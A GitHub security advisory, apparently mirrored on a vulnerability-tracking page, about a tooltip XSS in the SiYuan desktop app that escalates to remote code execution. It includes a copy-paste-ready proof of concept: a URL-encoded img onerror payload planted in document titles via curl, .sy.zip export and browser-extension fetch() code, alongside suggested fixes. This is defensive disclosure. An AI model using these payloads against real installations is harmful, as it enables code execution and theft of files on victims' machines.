GHSA-25RP-H46X-2HJM

Vulnerability from github – Published: 2026-05-08 19:08 – Updated: 2026-05-08 19:08
VLAI?
Summary
SiYuan: Electron Renderer RCE via decodeURIComponent-driven tooltip XSS in aria-label sink (incomplete fix for CVE-2026-34585)
Details

Summary

The tooltip mouseover handler in app/src/block/popover.ts reads aria-label via getAttribute and passes it through decodeURIComponent before assigning to messageElement.innerHTML in app/src/dialog/tooltip.ts:41. The encoder used at the producer side, escapeAriaLabel in app/src/util/escape.ts:19-25, only handles HTML special characters (", ', <, literal &lt;) — it leaves %XX URL-escapes untouched. So a doc title containing %3Cimg src=x onerror=...%3E round-trips through escapeAriaLabel and the HTML attribute layer unmodified. Then decodeURIComponent on the consumer side converts %3C to a literal < character (a real <, NOT a character reference). When that string is assigned to innerHTML, the HTML5 tokenizer enters TagOpenState on the literal <, parses the <img> element, and the onerror handler fires.

Because the renderer runs with nodeIntegration: true, contextIsolation: false, webSecurity: false (app/electron/main.js:407-411), require('child_process') is reachable from the injected handler, escalating to arbitrary code execution.

Doc titles, AV column names + descriptions, AV select options, file-tree tooltips all reach this sink because they're rendered into class="ariaLabel" elements with aria-label="${escapeAriaLabel(...)}". Doc title is the easiest plant — any user with create/rename access lands the payload, and the file survives .sy.zip round-trip without modification.

Why a "double HTML-decode" framing is wrong

A naïve reading of the chain might suggest that &amp;lt; (the encoder output) decodes once at attribute-parse time to &lt;, then a second time at innerHTML time to < — yielding a tag. That's incorrect and confirmed false by direct browser testing. Per the HTML5 spec, character references in DataState produce CHARACTER tokens (text), not TagOpenState transitions: the < resulting from a &lt; reference is text data, never a tag-open delimiter. So the HTML-entity-only payload renders as visible literal text, not as a tag.

The actual bypass relies on decodeURIComponent producing a literal < (not a character reference) before innerHTML parses it. Literal < characters in the input stream DO trigger TagOpenState. URL encoding is the right vehicle because the encoder ignores %XX while the consumer chain decodes it.

Details

Encoder. app/src/util/escape.ts:19-25:

export const escapeAriaLabel = (html: string) => {
    if (!html) { return html; }
    return html.replace(/"/g, "&quot;").replace(/'/g, "&apos;")
        .replace(/</g, "&amp;lt;").replace(/&lt;/g, "&amp;lt;");
};

The four replacements only cover HTML special chars. %XX URL escapes are not touched.

Source — search-result rendering. app/src/search/util.ts:1406:

<span class="b3-list-item__text ariaLabel" ... aria-label="${escapeAriaLabel(title)}">${escapeGreat(title)}</span>

Same pattern at :1448, protyle/render/av/blockAttr.ts:205, protyle/render/av/col.ts:134, protyle/render/av/select.ts:36, search/unRef.ts:113. The title is built from getNotebookName(item.box) + getDisplayName(item.hPath, false) (line 1398). The hPath returned by /api/search/fullTextSearchBlock carries the user-set doc title verbatim — %XX URL-escapes pass through, only HTML special chars are entity-encoded by the kernel.

Consumer. app/src/block/popover.ts:33,144:

let tip = aElement.getAttribute("aria-label") || "";       // literal stored attribute value
// ... branch logic that doesn't apply to plain search results ...
showTooltip(decodeURIComponent(tip), aElement, ...);       // ← decodes %XX into raw chars

decodeURIComponent is presumably present to handle URL-encoded asset paths in some hyperlink tooltips, but it's applied unconditionally to every aria-label-sourced tip — that's what enables this bypass.

Sink. app/src/dialog/tooltip.ts:41:

messageElement.innerHTML = message;     // ← HTML parser sees the now-decoded raw `<` and starts parsing tags

Decode-chain trace for in-memory title %3Cimg src=x onerror="alert('SiYuan')"%3E (URL-encoded < > ', literal "):

step result
in-memory title %3Cimg src=x onerror="alert('SiYuan')"%3E
escapeAriaLabel writes (only " and ' get encoded — neither appears here as raw chars when ' is %27) %3Cimg src=x onerror=&quot;alert(%27SiYuan%27)&quot;%3E
HTML attribute set: aria-label="..." ; browser one-decodes named entities when storing in-DOM value = %3Cimg src=x onerror="alert(%27SiYuan%27)"%3E
getAttribute("aria-label") %3Cimg src=x onerror="alert(%27SiYuan%27)"%3E (verbatim)
decodeURIComponent(tip) <img src=x onerror="alert('SiYuan')"> (real < ' > chars)
messageElement.innerHTML = … HTML parser tokenizes raw <img>, creates element, fails to load src=x, fires onerror → JS runs

Renderer + reachability. Renderer posture and auto-admin gates same as the AV-name advisory (Advisory 1): nodeIntegration:true, contextIsolation:false, webSecurity:false at app/electron/main.js:407-411; empty-AccessAuthCode local auto-admin at kernel/model/session.go:261-287; chrome-extension:// Origin allowlist at session.go:277.

Suggested fix

  1. Primary — app/src/dialog/tooltip.ts:41: replace ts messageElement.innerHTML = message; with ts messageElement.textContent = message; For tooltips that legitimately need markup (memo rendering, hyperlink preview cards), introduce an explicit {html: true} flag on showTooltip(...) and route the message through DOMPurify.sanitize(message) before assigning to innerHTML.

  2. Drop decodeURIComponent at popover.ts:144 for the generic aria-label path. Apply it only on the few callers that intentionally pass URL-encoded asset paths (e.g. the local-asset hyperlink preview branch already inside the function), and apply it inside try/catch with a clear scope. Aria-label content is not URL-encoded by design; decoding it is a footgun that converts otherwise-safe attributes into pre-parsed HTML.

  3. Consolidate the four escape helpers in app/src/util/escape.ts (escapeHtml, escapeAttr, escapeAriaLabel, escapeGreat) into one Lute.EscapeHTMLStr-equivalent that escapes &, <, >, ", '. Context-specific encoders without compile-time enforcement keep producing bug-class variants.

  4. (Defense-in-depth) Switch the main BrowserWindow to contextIsolation: true with a preload bridge — caps every future renderer XSS at "DOM only," not RCE.


Reproduction (copy-paste-ready)

Tested on Windows with SiYuan v3.6.5 (kernel + Electron) and Microsoft Edge as the offline parser-validation engine. Linux/macOS users substitute py with python3 and use any modern Chromium-based browser (Edge/Chrome/Brave) for the standalone validation step.

Prereqs

  1. Install SiYuan v3.6.5 from https://github.com/siyuan-note/siyuan/releases and launch once. Do not set an AccessAuthCode (default).
  2. Verify the kernel is up: sh curl -s http://127.0.0.1:6806/api/system/version # → {"code":0,"msg":"","data":"3.6.5"}
  3. Create at least one notebook (the file tree's "+" button) so lsNotebooks returns a usable id. Pin variables: sh API=http://127.0.0.1:6806 NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \ -H 'Content-Type: application/json' -d '{}' \ | python -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])') echo "Using notebook: $NOTEBOOK_ID"

Step A — Browser-only validation of the chain (no SiYuan needed)

This proves the bug class on its own. Save as decode-chain.html, open in any Chromium-based browser:

<!doctype html>
<html><body>
<h2 id="status">Click "Simulate" — if status turns red, the chain works.</h2>
<span id="src" class="ariaLabel"
      aria-label="%3Cimg src=x onerror=&quot;document.getElementById('status').innerText='RESULT: payload fired — chain works'; document.getElementById('status').style.color='red';&quot;%3E"
      hidden></span>
<button onclick="
  let tip = document.getElementById('src').getAttribute('aria-label');
  console.log('after getAttribute:', JSON.stringify(tip));
  try { tip = decodeURIComponent(tip); } catch(e){}
  console.log('after decodeURIComponent:', JSON.stringify(tip));
  document.getElementById('out').innerHTML = tip;
">Simulate SiYuan tooltip</button>
<div id="out" style="border:2px solid red; padding:1em; min-height:3em; margin-top:1em;"></div>
</body></html>

Click the button. The <h2 id="status"> flips to red with "RESULT: payload fired — chain works", and the <div id="out"> contains a fully-rendered <img> element (not text). Confirms the chain decodes URL-escapes between getAttribute and innerHTML, producing real tag-open characters.

Step B — Plant the payload in SiYuan

DOC_ID=$(curl -s -X POST $API/api/filetree/createDocWithMd \
  -H 'Content-Type: application/json' \
  -d "{\"notebook\":\"$NOTEBOOK_ID\",\"path\":\"/tooltip-xss-poc-$$\",\"markdown\":\"trigger me — open the search panel, type 'trigger', and hover this result\"}" \
  | python -c 'import sys,json; print(json.load(sys.stdin)["data"])')
echo "DOC: $DOC_ID"

curl -s -X POST $API/api/filetree/renameDocByID \
  -H 'Content-Type: application/json' \
  --data-binary @- <<EOF
{"id":"$DOC_ID","title":"%3Cimg src=x onerror=\"alert('SiYuan tooltip-XSS PoC')\"%3E"}
EOF

Verify the in-memory title round-trips:

curl -s -X POST $API/api/block/getDocInfo \
  -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" \
  | python -c 'import sys,json; print(json.load(sys.stdin)["data"]["ial"]["title"])'
# Expected:
# %3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E

Step C — Trigger inside SiYuan

In the SiYuan desktop client: 1. Open the search panel (Ctrl+P / ⌘+P). 2. Type trigger. 3. The result list renders the doc with aria-label="${escapeAriaLabel(title)}". The DOM attribute now contains %3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E (URL-escapes survived; &quot; came from escapeAriaLabel and was decoded by the attribute parser to "). 4. Hover the result row. popover.ts:33 reads the attribute, popover.ts:144 calls decodeURIComponent (decoding %3C/%27/%3E to literal </'/>), tooltip.ts:41 writes innerHTML — HTML parser creates a real <img> element, onerror fires. 5. alert('SiYuan tooltip-XSS PoC') pops.

Step D — .sy.zip reproducer for upstream review

For maintainers who want a single-click reproducer:

ZIP_PATH=$(curl -s -X POST $API/api/export/exportSY \
  -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" \
  | python -c 'import sys,json; print(json.load(sys.stdin)["data"]["zip"])')
# The kernel re-encodes % in the URL, so it's simpler to grab from disk:
SRC=$(ls -1t "$HOME/SiYuanWorkspace/temp/export"/*.sy.zip | head -1)
cp "$SRC" "$HOME/Desktop/tooltip-xss-poc.sy.zip"

Maintainer reproduces by importing via right-click a notebook → ImportSiYuan .sy.zip → searching trigger → hovering the result. The Lute serialization stores the title in the .sy file with %XX preserved literally and " HTML-entity-encoded — the IAL parser decodes the entities on load, leaving the URL escapes intact, which then feeds the decodeURIComponent-based bypass.

Step E — Browser-extension attack vector (the realistic remote path)

A malicious or compromised installed browser extension's content/background script runs with chrome-extension://<id> Origin, allowlisted by session.go:277. The extension can run Step B's curl chain via fetch() without any SiYuan UI interaction beyond keeping the kernel running:

(async () => {
  const api = (path, body) => fetch('http://127.0.0.1:6806' + path, {
    method: 'POST', headers: {'Content-Type': 'application/json'},
    body: JSON.stringify(body)
  }).then(r => r.json());
  const nb = await api('/api/notebook/lsNotebooks', {});
  const id = (await api('/api/filetree/createDocWithMd', {
    notebook: nb.data.notebooks[0].id,
    path: '/x' + Date.now(),
    markdown: 'trigger'
  })).data;
  await api('/api/filetree/renameDocByID', {
    id,
    title: `%3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E`
  });
})();

A page from https://attacker.com is rejected — IsLocalOrigin only matches localhost/loopback. Realistic remote vectors: browser extensions, localhost-served webpages, shared .sy.zip imports, sync replication from a co-author's compromised device.

Cleanup

DOC_ID=$(curl -s -X POST $API/api/filetree/searchDocs \
  -H 'Content-Type: application/json' -d '{"k":"trigger me"}' \
  | python -c 'import sys,json; r=json.load(sys.stdin)["data"]; print(r[0]["id"] if r else "")')
[ -n "$DOC_ID" ] && curl -s -X POST $API/api/filetree/removeDocByID \
  -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}"

Impact

  • RCE on the victim's desktop, triggered by hovering a search result (or any other class="ariaLabel" element rendering attacker-controlled metadata).
  • Doc titles are the most commonly-shared field — recipients of .sy.zip, Bazaar templates, and sync peers all import the malicious title automatically; the URL encoding survives every transport.
  • Same post-RCE consequences as Advisory 1: full filesystem read (incl. ~/.ssh/, ~/.aws/credentials, workspace conf/conf.json), persistence, cloud-account pivot.
  • Multiple alternative trigger surfaces beyond search results: AV column names + descriptions, AV select-cell options, file-tree tooltips — any element with class="ariaLabel" and aria-label="${escapeAriaLabel(...)}" reaches the same popover.ts → tooltip.ts chain.
  • CVE-2026-34585 fix is incomplete. The encoder-side hardening assumed exactly one HTML decode between encoder and DOM. It did not account for decodeURIComponent being applied to the consumer-side attribute value, which converts URL-escapes that the encoder ignored into literal < characters that initiate tag parsing. A consumer-side fix (textContent, or DOMPurify.sanitize on the rich-text path; and removing the unconditional decodeURIComponent) is required.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20260421031503-96dfe0bea474"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44588"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-1188",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T19:08:30Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe tooltip mouseover handler in `app/src/block/popover.ts` reads `aria-label` via `getAttribute` and passes it through `decodeURIComponent` before assigning to `messageElement.innerHTML` in `app/src/dialog/tooltip.ts:41`. The encoder used at the producer side, `escapeAriaLabel` in `app/src/util/escape.ts:19-25`, only handles HTML special characters (`\"`, `\u0027`, `\u003c`, literal `\u0026lt;`) \u2014 it leaves `%XX` URL-escapes untouched. So a doc title containing `%3Cimg src=x onerror=...%3E` round-trips through `escapeAriaLabel` and the HTML attribute layer unmodified. Then `decodeURIComponent` on the consumer side converts `%3C` to a literal `\u003c` character (a real `\u003c`, NOT a character reference). When that string is assigned to `innerHTML`, the HTML5 tokenizer enters TagOpenState on the literal `\u003c`, parses the `\u003cimg\u003e` element, and the `onerror` handler fires.\n\nBecause the renderer runs with `nodeIntegration: true, contextIsolation: false, webSecurity: false` (`app/electron/main.js:407-411`), `require(\u0027child_process\u0027)` is reachable from the injected handler, escalating to arbitrary code execution.\n\nDoc titles, AV column names + descriptions, AV select options, file-tree tooltips all reach this sink because they\u0027re rendered into `class=\"ariaLabel\"` elements with `aria-label=\"${escapeAriaLabel(...)}\"`. Doc title is the easiest plant \u2014 any user with create/rename access lands the payload, and the file survives `.sy.zip` round-trip without modification.\n\n## Why a \"double HTML-decode\" framing is wrong\n\nA na\u00efve reading of the chain might suggest that `\u0026amp;lt;` (the encoder output) decodes once at attribute-parse time to `\u0026lt;`, then a second time at `innerHTML` time to `\u003c` \u2014 yielding a tag. **That\u0027s incorrect** and confirmed false by direct browser testing. Per the HTML5 spec, character references in DataState produce CHARACTER tokens (text), not TagOpenState transitions: the `\u003c` resulting from a `\u0026lt;` reference is text data, never a tag-open delimiter. So the HTML-entity-only payload renders as visible literal text, not as a tag.\n\nThe actual bypass relies on `decodeURIComponent` producing a **literal** `\u003c` (not a character reference) before `innerHTML` parses it. Literal `\u003c` characters in the input stream DO trigger TagOpenState. URL encoding is the right vehicle because the encoder ignores `%XX` while the consumer chain decodes it.\n\n## Details\n\n**Encoder.** `app/src/util/escape.ts:19-25`:\n```ts\nexport const escapeAriaLabel = (html: string) =\u003e {\n    if (!html) { return html; }\n    return html.replace(/\"/g, \"\u0026quot;\").replace(/\u0027/g, \"\u0026apos;\")\n        .replace(/\u003c/g, \"\u0026amp;lt;\").replace(/\u0026lt;/g, \"\u0026amp;lt;\");\n};\n```\nThe four replacements only cover HTML special chars. `%XX` URL escapes are not touched.\n\n**Source \u2014 search-result rendering.** `app/src/search/util.ts:1406`:\n```ts\n\u003cspan class=\"b3-list-item__text ariaLabel\" ... aria-label=\"${escapeAriaLabel(title)}\"\u003e${escapeGreat(title)}\u003c/span\u003e\n```\nSame pattern at `:1448`, `protyle/render/av/blockAttr.ts:205`, `protyle/render/av/col.ts:134`, `protyle/render/av/select.ts:36`, `search/unRef.ts:113`. The `title` is built from `getNotebookName(item.box) + getDisplayName(item.hPath, false)` (line 1398). The `hPath` returned by `/api/search/fullTextSearchBlock` carries the user-set doc title verbatim \u2014 `%XX` URL-escapes pass through, only HTML special chars are entity-encoded by the kernel.\n\n**Consumer.** `app/src/block/popover.ts:33,144`:\n```ts\nlet tip = aElement.getAttribute(\"aria-label\") || \"\";       // literal stored attribute value\n// ... branch logic that doesn\u0027t apply to plain search results ...\nshowTooltip(decodeURIComponent(tip), aElement, ...);       // \u2190 decodes %XX into raw chars\n```\n`decodeURIComponent` is presumably present to handle URL-encoded asset paths in some hyperlink tooltips, but it\u0027s applied unconditionally to every aria-label-sourced tip \u2014 that\u0027s what enables this bypass.\n\n**Sink.** `app/src/dialog/tooltip.ts:41`:\n```ts\nmessageElement.innerHTML = message;     // \u2190 HTML parser sees the now-decoded raw `\u003c` and starts parsing tags\n```\n\n**Decode-chain trace** for in-memory title `%3Cimg src=x onerror=\"alert(\u0027SiYuan\u0027)\"%3E` (URL-encoded `\u003c` `\u003e` `\u0027`, literal `\"`):\n\n| step | result |\n|------|--------|\n| in-memory title | `%3Cimg src=x onerror=\"alert(\u0027SiYuan\u0027)\"%3E` |\n| `escapeAriaLabel` writes (only `\"` and `\u0027` get encoded \u2014 neither appears here as raw chars when `\u0027` is `%27`) | `%3Cimg src=x onerror=\u0026quot;alert(%27SiYuan%27)\u0026quot;%3E` |\n| HTML attribute set: `aria-label=\"...\"` ; browser one-decodes named entities when storing | in-DOM value = `%3Cimg src=x onerror=\"alert(%27SiYuan%27)\"%3E` |\n| `getAttribute(\"aria-label\")` | `%3Cimg src=x onerror=\"alert(%27SiYuan%27)\"%3E` (verbatim) |\n| `decodeURIComponent(tip)` | **`\u003cimg src=x onerror=\"alert(\u0027SiYuan\u0027)\"\u003e`** (real `\u003c` `\u0027` `\u003e` chars) |\n| `messageElement.innerHTML = \u2026` | HTML parser tokenizes raw `\u003cimg\u003e`, creates element, fails to load `src=x`, fires `onerror` \u2192 JS runs |\n\n**Renderer + reachability.** Renderer posture and auto-admin gates same as the AV-name advisory (Advisory 1): `nodeIntegration:true, contextIsolation:false, webSecurity:false` at `app/electron/main.js:407-411`; empty-`AccessAuthCode` local auto-admin at `kernel/model/session.go:261-287`; `chrome-extension://` Origin allowlist at `session.go:277`.\n\n## Suggested fix\n\n1. **Primary \u2014 `app/src/dialog/tooltip.ts:41`**: replace\n   ```ts\n   messageElement.innerHTML = message;\n   ```\n   with\n   ```ts\n   messageElement.textContent = message;\n   ```\n   For tooltips that legitimately need markup (memo rendering, hyperlink preview cards), introduce an explicit `{html: true}` flag on `showTooltip(...)` and route the message through `DOMPurify.sanitize(message)` before assigning to `innerHTML`.\n\n2. **Drop `decodeURIComponent` at `popover.ts:144`** for the generic aria-label path. Apply it only on the few callers that intentionally pass URL-encoded asset paths (e.g. the local-asset hyperlink preview branch already inside the function), and apply it inside `try`/`catch` with a clear scope. Aria-label content is not URL-encoded by design; decoding it is a footgun that converts otherwise-safe attributes into pre-parsed HTML.\n\n3. **Consolidate the four escape helpers** in `app/src/util/escape.ts` (`escapeHtml`, `escapeAttr`, `escapeAriaLabel`, `escapeGreat`) into one `Lute.EscapeHTMLStr`-equivalent that escapes `\u0026`, `\u003c`, `\u003e`, `\"`, `\u0027`. Context-specific encoders without compile-time enforcement keep producing bug-class variants.\n\n4. **(Defense-in-depth)** Switch the main BrowserWindow to `contextIsolation: true` with a preload bridge \u2014 caps every future renderer XSS at \"DOM only,\" not RCE.\n\n---\n\n## Reproduction (copy-paste-ready)\n\nTested on Windows with SiYuan v3.6.5 (kernel + Electron) and Microsoft Edge as the offline parser-validation engine. Linux/macOS users substitute `py` with `python3` and use any modern Chromium-based browser (Edge/Chrome/Brave) for the standalone validation step.\n\n### Prereqs\n\n1. **Install SiYuan v3.6.5** from https://github.com/siyuan-note/siyuan/releases and launch once. **Do not set an `AccessAuthCode`** (default).\n2. Verify the kernel is up:\n   ```sh\n   curl -s http://127.0.0.1:6806/api/system/version\n   # \u2192 {\"code\":0,\"msg\":\"\",\"data\":\"3.6.5\"}\n   ```\n3. Create at least one notebook (the file tree\u0027s \"+\" button) so `lsNotebooks` returns a usable id. Pin variables:\n   ```sh\n   API=http://127.0.0.1:6806\n   NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \\\n     -H \u0027Content-Type: application/json\u0027 -d \u0027{}\u0027 \\\n     | python -c \u0027import sys,json; print(json.load(sys.stdin)[\"data\"][\"notebooks\"][0][\"id\"])\u0027)\n   echo \"Using notebook: $NOTEBOOK_ID\"\n   ```\n\n### Step A \u2014 Browser-only validation of the chain (no SiYuan needed)\n\nThis proves the bug class on its own. Save as `decode-chain.html`, open in any Chromium-based browser:\n\n```html\n\u003c!doctype html\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003ch2 id=\"status\"\u003eClick \"Simulate\" \u2014 if status turns red, the chain works.\u003c/h2\u003e\n\u003cspan id=\"src\" class=\"ariaLabel\"\n      aria-label=\"%3Cimg src=x onerror=\u0026quot;document.getElementById(\u0027status\u0027).innerText=\u0027RESULT: payload fired \u2014 chain works\u0027; document.getElementById(\u0027status\u0027).style.color=\u0027red\u0027;\u0026quot;%3E\"\n      hidden\u003e\u003c/span\u003e\n\u003cbutton onclick=\"\n  let tip = document.getElementById(\u0027src\u0027).getAttribute(\u0027aria-label\u0027);\n  console.log(\u0027after getAttribute:\u0027, JSON.stringify(tip));\n  try { tip = decodeURIComponent(tip); } catch(e){}\n  console.log(\u0027after decodeURIComponent:\u0027, JSON.stringify(tip));\n  document.getElementById(\u0027out\u0027).innerHTML = tip;\n\"\u003eSimulate SiYuan tooltip\u003c/button\u003e\n\u003cdiv id=\"out\" style=\"border:2px solid red; padding:1em; min-height:3em; margin-top:1em;\"\u003e\u003c/div\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\nClick the button. The `\u003ch2 id=\"status\"\u003e` flips to red with \"RESULT: payload fired \u2014 chain works\", and the `\u003cdiv id=\"out\"\u003e` contains a fully-rendered `\u003cimg\u003e` element (not text). Confirms the chain decodes URL-escapes between `getAttribute` and `innerHTML`, producing real tag-open characters.\n\n### Step B \u2014 Plant the payload in SiYuan\n\n```sh\nDOC_ID=$(curl -s -X POST $API/api/filetree/createDocWithMd \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \"{\\\"notebook\\\":\\\"$NOTEBOOK_ID\\\",\\\"path\\\":\\\"/tooltip-xss-poc-$$\\\",\\\"markdown\\\":\\\"trigger me \u2014 open the search panel, type \u0027trigger\u0027, and hover this result\\\"}\" \\\n  | python -c \u0027import sys,json; print(json.load(sys.stdin)[\"data\"])\u0027)\necho \"DOC: $DOC_ID\"\n\ncurl -s -X POST $API/api/filetree/renameDocByID \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data-binary @- \u003c\u003cEOF\n{\"id\":\"$DOC_ID\",\"title\":\"%3Cimg src=x onerror=\\\"alert(\u0027SiYuan tooltip-XSS PoC\u0027)\\\"%3E\"}\nEOF\n```\nVerify the in-memory title round-trips:\n```sh\ncurl -s -X POST $API/api/block/getDocInfo \\\n  -H \u0027Content-Type: application/json\u0027 -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\" \\\n  | python -c \u0027import sys,json; print(json.load(sys.stdin)[\"data\"][\"ial\"][\"title\"])\u0027\n# Expected:\n# %3Cimg src=x onerror=\"alert(\u0027SiYuan tooltip-XSS PoC\u0027)\"%3E\n```\n\n### Step C \u2014 Trigger inside SiYuan\n\nIn the SiYuan desktop client:\n1. Open the search panel (`Ctrl+P` / `\u2318+P`).\n2. Type `trigger`.\n3. The result list renders the doc with `aria-label=\"${escapeAriaLabel(title)}\"`. The DOM attribute now contains `%3Cimg src=x onerror=\"alert(\u0027SiYuan tooltip-XSS PoC\u0027)\"%3E` (URL-escapes survived; `\u0026quot;` came from escapeAriaLabel and was decoded by the attribute parser to `\"`).\n4. **Hover the result row.** `popover.ts:33` reads the attribute, `popover.ts:144` calls `decodeURIComponent` (decoding `%3C`/`%27`/`%3E` to literal `\u003c`/`\u0027`/`\u003e`), `tooltip.ts:41` writes `innerHTML` \u2014 HTML parser creates a real `\u003cimg\u003e` element, `onerror` fires.\n5. **`alert(\u0027SiYuan tooltip-XSS PoC\u0027)` pops.**\n\n### Step D \u2014 `.sy.zip` reproducer for upstream review\n\nFor maintainers who want a single-click reproducer:\n```sh\nZIP_PATH=$(curl -s -X POST $API/api/export/exportSY \\\n  -H \u0027Content-Type: application/json\u0027 -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\" \\\n  | python -c \u0027import sys,json; print(json.load(sys.stdin)[\"data\"][\"zip\"])\u0027)\n# The kernel re-encodes % in the URL, so it\u0027s simpler to grab from disk:\nSRC=$(ls -1t \"$HOME/SiYuanWorkspace/temp/export\"/*.sy.zip | head -1)\ncp \"$SRC\" \"$HOME/Desktop/tooltip-xss-poc.sy.zip\"\n```\nMaintainer reproduces by importing via right-click a notebook \u2192 **Import** \u2192 **SiYuan `.sy.zip`** \u2192 searching `trigger` \u2192 hovering the result. The Lute serialization stores the title in the `.sy` file with `%XX` preserved literally and `\"` HTML-entity-encoded \u2014 the IAL parser decodes the entities on load, leaving the URL escapes intact, which then feeds the `decodeURIComponent`-based bypass.\n\n### Step E \u2014 Browser-extension attack vector (the realistic remote path)\n\nA malicious or compromised installed browser extension\u0027s content/background script runs with `chrome-extension://\u003cid\u003e` Origin, allowlisted by `session.go:277`. The extension can run Step B\u0027s curl chain via `fetch()` without any SiYuan UI interaction beyond keeping the kernel running:\n```js\n(async () =\u003e {\n  const api = (path, body) =\u003e fetch(\u0027http://127.0.0.1:6806\u0027 + path, {\n    method: \u0027POST\u0027, headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n    body: JSON.stringify(body)\n  }).then(r =\u003e r.json());\n  const nb = await api(\u0027/api/notebook/lsNotebooks\u0027, {});\n  const id = (await api(\u0027/api/filetree/createDocWithMd\u0027, {\n    notebook: nb.data.notebooks[0].id,\n    path: \u0027/x\u0027 + Date.now(),\n    markdown: \u0027trigger\u0027\n  })).data;\n  await api(\u0027/api/filetree/renameDocByID\u0027, {\n    id,\n    title: `%3Cimg src=x onerror=\"alert(\u0027SiYuan tooltip-XSS PoC\u0027)\"%3E`\n  });\n})();\n```\nA page from `https://attacker.com` is rejected \u2014 `IsLocalOrigin` only matches localhost/loopback. Realistic remote vectors: **browser extensions**, **localhost-served webpages**, **shared `.sy.zip` imports**, **sync replication from a co-author\u0027s compromised device**.\n\n### Cleanup\n\n```sh\nDOC_ID=$(curl -s -X POST $API/api/filetree/searchDocs \\\n  -H \u0027Content-Type: application/json\u0027 -d \u0027{\"k\":\"trigger me\"}\u0027 \\\n  | python -c \u0027import sys,json; r=json.load(sys.stdin)[\"data\"]; print(r[0][\"id\"] if r else \"\")\u0027)\n[ -n \"$DOC_ID\" ] \u0026\u0026 curl -s -X POST $API/api/filetree/removeDocByID \\\n  -H \u0027Content-Type: application/json\u0027 -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\"\n```\n\n## Impact\n\n- **RCE on the victim\u0027s desktop**, triggered by hovering a search result (or any other `class=\"ariaLabel\"` element rendering attacker-controlled metadata).\n- **Doc titles are the most commonly-shared field** \u2014 recipients of `.sy.zip`, Bazaar templates, and sync peers all import the malicious title automatically; the URL encoding survives every transport.\n- Same post-RCE consequences as Advisory 1: full filesystem read (incl. `~/.ssh/`, `~/.aws/credentials`, workspace `conf/conf.json`), persistence, cloud-account pivot.\n- **Multiple alternative trigger surfaces** beyond search results: AV column names + descriptions, AV select-cell options, file-tree tooltips \u2014 any element with `class=\"ariaLabel\"` and `aria-label=\"${escapeAriaLabel(...)}\"` reaches the same `popover.ts \u2192 tooltip.ts` chain.\n- **CVE-2026-34585 fix is incomplete.** The encoder-side hardening assumed exactly one HTML decode between encoder and DOM. It did not account for `decodeURIComponent` being applied to the consumer-side attribute value, which converts URL-escapes that the encoder ignored into literal `\u003c` characters that initiate tag parsing. A consumer-side fix (`textContent`, or `DOMPurify.sanitize` on the rich-text path; and removing the unconditional `decodeURIComponent`) is required.",
  "id": "GHSA-25rp-h46x-2hjm",
  "modified": "2026-05-08T19:08:30Z",
  "published": "2026-05-08T19:08:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-25rp-h46x-2hjm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SiYuan: Electron Renderer RCE via decodeURIComponent-driven tooltip XSS in aria-label sink (incomplete fix for CVE-2026-34585)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…